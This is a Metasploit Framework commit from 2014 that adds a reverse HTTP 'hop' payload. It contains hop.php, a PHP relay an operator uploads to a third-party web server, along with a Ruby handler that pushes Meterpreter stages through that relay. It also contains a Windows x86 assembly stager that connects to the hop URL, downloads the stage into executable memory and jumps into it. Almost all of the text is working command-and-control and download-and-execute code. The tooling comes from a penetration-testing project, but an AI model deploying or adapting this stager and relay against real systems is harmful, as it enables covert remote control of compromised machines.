Merge #2809 into master

bug/bundler_fix
HD Moore 2014-07-06 23:46:10 -05:00
commit 5961861c97
No known key found for this signature in database
GPG Key ID: 22015B93FA604913
3 changed files with 661 additions and 0 deletions

68
data/php/hop.php Normal file
View File

@ -0,0 +1,68 @@
<?php
$magic = 'TzGq';
$tempdir = sys_get_temp_dir() . "/hop" . $magic;
if(!is_dir($tempdir)){
mkdir($tempdir); //make sure it's there
}
//get url
$url = $_SERVER["QUERY_STRING"];
//like /path/hop.php?/uRIcksm_lOnGidENTifIEr
//Looks for a file with a name or contents prefix, if found, send it and deletes it
function findSendDelete($tempdir, $prefix, $one=true){
if($dh = opendir($tempdir)){
while(($file = readdir($dh)) !== false){
if(strpos($file, $prefix) !== 0){
continue;
}
readfile($tempdir."/".$file);
unlink($tempdir."/".$file);
if($one){
break;
}
}
}
}
//handle control
if($url === "/control"){
if($_SERVER['REQUEST_METHOD'] === 'POST'){
//handle data for payload - save in a "down" file or the "init" file
$postdata = file_get_contents("php://input");
if(array_key_exists('HTTP_X_INIT', $_SERVER)){
$f = fopen($tempdir."/init", "w"); //only one init file
}else{
$prefix = "down_" . bin2hex($_SERVER['HTTP_X_URLFRAG']);
$f = fopen(tempnam($tempdir,$prefix), "w");
}
fwrite($f, $postdata);
fclose($f);
}else{
findSendDelete($tempdir, "up_", false);
}
}else if($_SERVER['REQUEST_METHOD'] === 'POST'){
//get data
$postdata = file_get_contents("php://input");
//See if we should send anything down
if($postdata === 'RECV'){
findSendDelete($tempdir, "down_" . bin2hex($url));
$fname = $tempdir . "/up_recv_" . bin2hex($url); //Only keep one RECV poll
}else{
$fname = tempnam($tempdir, "up_"); //actual data gets its own filename
}
//find free and write new file
$f = fopen($fname, "w");
fwrite($f, $magic);
//Little-endian pack length and data
$urlen = strlen($url);
fwrite($f, pack('V', $urlen));
fwrite($f, $url);
$postdatalen = strlen($postdata);
fwrite($f, pack('V', $postdatalen));
fwrite($f, $postdata);
fclose($f);
//Initial query will be a GET and have a 12345 in it
}else if(strpos($url, "12345") !== FALSE){
readfile($tempdir."/init");
}

View File

@ -0,0 +1,305 @@
# -*- coding: binary -*-
require 'rex/io/stream_abstraction'
require 'rex/sync/ref'
require 'msf/core/handler/reverse_http'
require 'uri'
module Msf
module Handler
###
#
# This handler implements the HTTP hop tunneling interface.
# It acts like an HTTP server to the meterpreter packet dispatcher but
# as an HTTP client to actually send and receive the data from the hop.
#
###
module ReverseHopHttp
include Msf::Handler::ReverseHttp
#
# Magic bytes to know we are talking to a valid hop
#
MAGIC = 'TzGq'
# hop_handlers is a class-level instance variable
class << self; attr_accessor :hop_handlers end
attr_accessor :monitor_thread # :nodoc:
attr_accessor :handlers # :nodoc:
attr_accessor :closed_handlers # :nodoc:
attr_accessor :mclient # :nodoc:
attr_accessor :current_url # :nodoc:
attr_accessor :control # :nodoc:
attr_accessor :refs # :nodoc:
attr_accessor :lock # :nodoc:
#
# Keeps track of what hops have active handlers
#
@hop_handlers = {}
#
# Returns the string representation of the handler type
#
def self.handler_type
return "reverse_hop_http"
end
#
# Returns the connection-described general handler type, in this case
# 'tunnel'.
#
def self.general_handler_type
"tunnel"
end
#
# Sets up a handler. Doesn't do much since it's all in start_handler.
#
def setup_handler
self.handlers = {}
self.closed_handlers = {}
self.lock = Mutex.new
end
#
# Starts the handler along with a monitoring thread to handle data transfer
#
def start_handler
# Our HTTP client and URL for talking to the hop
uri = URI(full_uri)
self.control = "#{uri.request_uri}control"
self.mclient = Rex::Proto::Http::Client.new(
uri.host,
uri.port,
{
'Msf' => framework
}
)
@running = true # So we know we can stop it
# If someone is already monitoring this hop, bump the refcount instead of starting a new thread
if ReverseHopHttp.hop_handlers.has_key?(full_uri)
ReverseHopHttp.hop_handlers[full_uri].refs += 1
return
end
# Sometimes you just have to do everything yourself.
# Declare ownership of this hop and spawn a thread to monitor it.
self.refs = 1
ReverseHopHttp.hop_handlers[full_uri] = self
self.monitor_thread = Rex::ThreadFactory.spawn('ReverseHopHTTP', false, uri,
self) do |uri, hop_http|
hop_http.send_new_stage # send stage to hop
delay = 1 # poll delay
# Continue to loop as long as at least one handler or one session is depending on us
until hop_http.refs < 1 && hop_http.handlers.empty?
sleep delay
delay = delay + 1 if delay < 10 # slow down if we're not getting anything
crequest = hop_http.mclient.request_raw({'method' => 'GET', 'uri' => control})
res = hop_http.mclient.send_recv(crequest) # send poll to the hop
next if res.nil?
if res.error
print_error(res.error)
next
end
# validate responses, handle each message down
received = res.body
until received.length < 12 || received.slice!(0, MAGIC.length) != MAGIC
# good response
delay = 0 # we're talking, speed up
urlen = received.slice!(0,4).unpack('V')[0]
urlpath = received.slice!(0,urlen)
datalen = received.slice!(0,4).unpack('V')[0]
# do not want handlers to change while we dispatch this
hop_http.lock.lock
#received now starts with the binary contents of the message
if hop_http.handlers.include? urlpath
pack = Rex::Proto::Http::Packet.new
pack.body = received.slice!(0,datalen)
hop_http.current_url = urlpath
hop_http.handlers[urlpath].call(hop_http, pack)
hop_http.lock.unlock
elsif !closed_handlers.include? urlpath
hop_http.lock.unlock
#New session!
conn_id = urlpath.gsub("/","")
# Short-circuit the payload's handle_connection processing for create_session
# We are the dispatcher since we need to handle the comms to the hop
create_session(hop_http, {
:passive_dispatcher => self,
:conn_id => conn_id,
:url => uri.to_s + conn_id + "/\x00",
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => false,
})
# send new stage to hop so next inbound session will get a unique ID.
hop_http.send_new_stage
else
hop_http.lock.unlock
end
end
end
hop_http.monitor_thread = nil #make sure we're out
ReverseHopHttp.hop_handlers.delete(full_uri)
end
end
#
# Stops the handler and monitoring thread
#
def stop_handler
# stop_handler is called like 3 times, don't decrement refcount unless we're still running
if @running
ReverseHopHttp.hop_handlers[full_uri].refs -= 1
@running = false
end
end
#
# Adds a resource. (handler for a session)
#
def add_resource(res, opts={})
self.handlers[res] = opts['Proc']
start_handler if monitor_thread.nil?
end
#
# Removes a resource.
#
def remove_resource(res)
lock.lock
handlers.delete(res)
closed_handlers[res] = true
lock.unlock
end
#
# Implemented for compatibility reasons, does nothing
#
def close_client(cli)
end
#
# Sends data to hop
#
def send_response(resp)
if not resp.body.empty?
crequest = mclient.request_raw(
'method' => 'POST',
'uri' => control,
'data' => resp.body,
'headers' => {'X-urlfrag' => current_url}
)
# if receiving POST data, hop does not send back data, so we can stop here
mclient.send_recv(crequest)
end
end
#
# Return the URI of the hop point.
#
def full_uri
uri = datastore['HOPURL']
return uri if uri.end_with?('/')
return "#{uri}/" if uri.end_with?('?')
"#{uri}?/"
end
#
# Returns a string representation of the local hop
#
def localinfo
"Hop client"
end
#
# Returns the URL of the remote hop end
#
def peerinfo
uri = URI(full_uri)
"#{uri.host}:#{uri.port}"
end
#
# Initializes the Hop HTTP tunneling handler.
#
def initialize(info = {})
super
register_options(
[
OptString.new('HOPURL', [ true, "The full URL of the hop script, e.g. http://a.b/hop.php" ])
], Msf::Handler::ReverseHopHttp)
end
#
# Generates and sends a stage up to the hop point to be ready for the next client
#
def send_new_stage
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
url = full_uri + conn_id + "/\x00"
print_status("Preparing stage for next session #{conn_id}")
blob = stage_payload
# Replace the user agent string with our option
i = blob.index("METERPRETER_UA\x00")
if i
str = datastore['MeterpreterUserAgent'][0,255] + "\x00"
blob[i, str.length] = str
end
# Replace the transport string first (TRANSPORT_SOCKET_SSL)
i = blob.index("METERPRETER_TRANSPORT_SSL")
if i
str = "METERPRETER_TRANSPORT_HTTP#{ssl? ? "S" : ""}\x00"
blob[i, str.length] = str
end
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
i = blob.index("https://" + ("X" * 256))
if i
url = full_uri + conn_id + "/\x00"
blob[i, url.length] = url
end
print_status("Patched URL at offset #{i}...")
i = blob.index([0xb64be661].pack("V"))
if i
str = [ datastore['SessionExpirationTimeout'] ].pack("V")
blob[i, str.length] = str
end
i = blob.index([0xaf79257f].pack("V"))
if i
str = [ datastore['SessionCommunicationTimeout'] ].pack("V")
blob[i, str.length] = str
end
blob = encode_stage(blob)
#send up
crequest = mclient.request_raw(
'method' => 'POST',
'uri' => control,
'data' => blob,
'headers' => {'X-init' => 'true'}
)
res = mclient.send_recv(crequest)
print_status("Uploaded stage to hop #{full_uri}")
print_error(res.error) if !res.nil? && res.error
#return conn info
[conn_id, url]
end
end
end
end

View File

@ -0,0 +1,288 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'uri'
require 'msf/core'
require 'msf/core/handler/reverse_hop_http'
module Metasploit3
include Msf::Payload::Stager
include Msf::Payload::Windows
def initialize(info = {})
super(merge_info(info,
'Name' => 'Reverse Hop HTTP Stager',
'Description' => "Tunnel communication over an HTTP hop point (note you must first upload "+
"the hop.php found at #{File.expand_path("../../../../data/php/hop.php", __FILE__)} "+
"to the HTTP server you wish to use as a hop)",
'Author' => ['scriptjunkie <scriptjunkie@scriptjunkie.us>', 'hdm'],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseHopHttp,
'Convention' => 'sockedi http',
'DefaultOptions' => { 'WfsDelay' => 30 },
'Stager' =>
{
'Offsets' =>
{
# None, they get embedded in the shellcode
}
}
))
deregister_options('LHOST', 'LPORT')
register_options([
OptString.new('HOPURL',
[ true, "The full URL of the hop script", "http://example.com/hop.php" ]
)
], self.class)
end
#
# Do not transmit the stage over the connection. We handle this via HTTP
#
def stage_over_connection?
false
end
#
# Generate the first stage
#
def generate
uri = URI(datastore['HOPURL'])
#create actual payload
payload_data = <<EOS
cld ; clear direction flag
call start ; start main routine
; Stephen Fewer's block_api
; block_api code (Stephen Fewer)
api_call:
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
mov ebp, esp ; Create a new stack frame
xor edx, edx ; Zero EDX
mov edx, fs:[edx+48] ; Get a pointer to the PEB
mov edx, [edx+12] ; Get PEB->Ldr
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
next_mod:
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
xor edi, edi ; Clear EDI which will store the hash of the module name
loop_modname: ;
xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
loop loop_modname ; Loop until we have read enough
; We now have the module hash computed
push edx ; Save the current position in the module list for later
push edi ; Save the current module hash for later
; Proceed to iterate the export address table,
mov edx, [edx+16] ; Get this modules base address
mov eax, [edx+60] ; Get PE header
add eax, edx ; Add the modules base address
mov eax, [eax+120] ; Get export tables RVA
test eax, eax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present, process the next module
add eax, edx ; Add the modules base address
push eax ; Save the current modules EAT
mov ecx, [eax+24] ; Get the number of function names
mov ebx, [eax+32] ; Get the rva of the function names
add ebx, edx ; Add the modules base address
; Computing the module hash + function hash
get_next_func: ;
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards) process next mod
dec ecx ; Decrement the function name counter
mov esi, [ebx+ecx*4] ; Get rva of next module name
add esi, edx ; Add the modules base address
xor edi, edi ; Clear EDI which will store the hash of the function name
; And compare it to the one we want
loop_funcname: ;
xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the ASCII function name
ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
add edi, [ebp-8] ; Add the current module hash to the function hash
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
pop eax ; Restore the current modules EAT
mov ebx, [eax+36] ; Get the ordinal table rva
add ebx, edx ; Add the modules base address
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
mov ebx, [eax+28] ; Get the function addresses table rva
add ebx, edx ; Add the modules base address
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
add eax, edx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the desired function...
finish:
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address
pop ebx ; Clear off the current modules hash
pop ebx ; Clear off the current position in the module list
popad ; Restore all of the callers registers, bar EAX, ECX and EDX
pop ecx ; Pop off the origional return address our caller will have pushed
pop edx ; Pop off the hash value our caller will have pushed
push ecx ; Push back the correct return value
jmp eax ; Jump into the required function
; We now automagically return to the correct caller...
get_next_mod: ;
pop eax ; Pop off the current (now the previous) modules EAT
get_next_mod1: ;
pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list
mov edx, [edx] ; Get the next module
jmp.i8 next_mod ; Process this module
; actual routine
start:
pop ebp ; get ptr to block_api routine
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the socket for the connection to the server
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
load_wininet:
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
push 0x696e6977 ; ...
push esp ; Push a pointer to the "wininet" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "wininet" )
internetopen:
xor edi,edi
push edi ; DWORD dwFlags
push edi ; LPCTSTR lpszProxyBypass
push edi ; LPCTSTR lpszProxyName
push edi ; DWORD dwAccessType (PRECONFIG = 0)
push 0 ; NULL pointer
push esp ; LPCTSTR lpszAgent ("\x00")
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp
jmp.i8 dbl_get_server_host
internetconnect:
pop ebx ; Save the hostname pointer
xor ecx, ecx
push ecx ; DWORD_PTR dwContext (NULL)
push ecx ; dwFlags
push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
push ecx ; password
push ecx ; username
push #{uri.port} ; PORT
push ebx ; HOSTNAME
push eax ; HINTERNET hInternet
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
call ebp
jmp get_server_uri
httpopenrequest:
pop ecx
xor edx, edx ; NULL
push edx ; dwContext (NULL)
push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags
;0x80000000 | ; INTERNET_FLAG_RELOAD
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
;0x00000200 | ; INTERNET_FLAG_NO_UI
;0x00400000 ; INTERNET_FLAG_KEEP_CONNECTION
push edx ; accept types
push edx ; referrer
push edx ; version
push ecx ; url
push edx ; method
push eax ; hConnection
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
call ebp
mov esi, eax ; hHttpRequest
set_retry:
push 0x10
pop ebx
httpsendrequest:
xor edi, edi
push edi ; optional length
push edi ; optional
push edi ; dwHeadersLength
push edi ; headers
push esi ; hHttpRequest
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
call ebp
test eax,eax
jnz allocate_memory
try_it_again:
dec ebx
jz failure
jmp.i8 httpsendrequest
dbl_get_server_host:
jmp get_server_host
get_server_uri:
call httpopenrequest
server_uri:
db "#{Rex::Text.hexify(uri.request_uri, 99999).strip}?/12345", 0x00
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
allocate_memory:
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (8Mb ought to do us)
push edi ; NULL as we dont care where the allocation is
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
download_prep:
xchg eax, ebx ; place the allocated base address in ebx
push ebx ; store a copy of the stage base address on the stack
push ebx ; temporary storage for bytes read count
mov edi, esp ; &bytesRead
download_more:
push edi ; &bytesRead
push 8192 ; read length
push ebx ; buffer
push esi ; hRequest
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
call ebp
test eax,eax ; download failed? (optional?)
jz failure
mov eax, [edi]
add ebx, eax ; buffer += bytes_received
test eax,eax ; optional?
jnz download_more ; continue until it returns 0
pop eax ; clear the temporary storage
execute_stage:
ret ; dive into the stored stage address
get_server_host:
call internetconnect
server_host:
db "#{Rex::Text.hexify(uri.host, 99999).strip}", 0x00
EOS
self.module_info['Stager']['Assembly'] = payload_data.to_s
super
end
end